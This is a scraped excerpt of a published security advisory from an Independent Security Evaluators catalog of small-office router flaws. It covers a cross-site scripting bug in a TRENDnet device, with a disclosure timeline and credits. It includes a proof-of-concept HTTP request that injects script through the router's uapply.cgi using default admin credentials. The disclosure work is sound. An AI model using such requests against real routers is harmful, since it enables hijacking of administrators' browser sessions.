ISE SOHO Vulnerability Catalog Published - Independent Security ...
ISE SOHO Vulnerability Catalog Published - Independent Security ...
ISE SOHO Vulnerability Catalog Published - Independent Security ...
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
JavaScript or HTML code in the victim’s browser.<br />
Recommendations to the Vendor<br />
♦ Sanitize user input and output.<br />
♦ Additional information for vendors regarding immediate and long term fixes for<br />
these issues can be found here: http://www.securityevaluators.com/content/casestudies/routers/#recommendationsVendors<br />
Solution<br />
♦ There currently is not a solution to this problem.<br />
Proof of Concept Exploit<br />
POST /uapply.cgi HTTP/1.1 <br />
Host: 192.168.10.1 <br />
User-‐Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 <br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 <br />
Accept-‐Language: en-‐US,en;q=0.5 <br />
Accept-‐Encoding: gzip, deflate <br />
DNT: 1 <br />
Referer: http://192.168.10.1/adm/status.asp <br />
Authorization: Basic YWRtaW46YWRtaW4= <br />
Connection: keep-‐alive <br />
Content-‐Type: application/x-‐www-‐form-‐urlencoded <br />
Content-‐Length: 58 <br />
page=%2Fadm%2Fstatus.asp&action=alert(42) <br />
Disclosure Timeline<br />
♦ 4/11/2013 - Notified TRENDnet<br />
♦ 7/26/2013 - Public Disclosure<br />
References<br />
♦ Advisory/Video: http://infosec42.blogspot.com<br />
♦ http://securityevaluators.com/content/case-studies/<br />
Credit<br />
♦ Discovered By: Jacob Holcomb – <strong>Security</strong> Analyst @ <strong>Independent</strong> <strong>Security</strong><br />
Evaluators<br />
♦ Exploited By: Jacob Holcomb – <strong>Security</strong> Analyst @ <strong>Independent</strong> <strong>Security</strong><br />
Evaluators<br />
<br />
17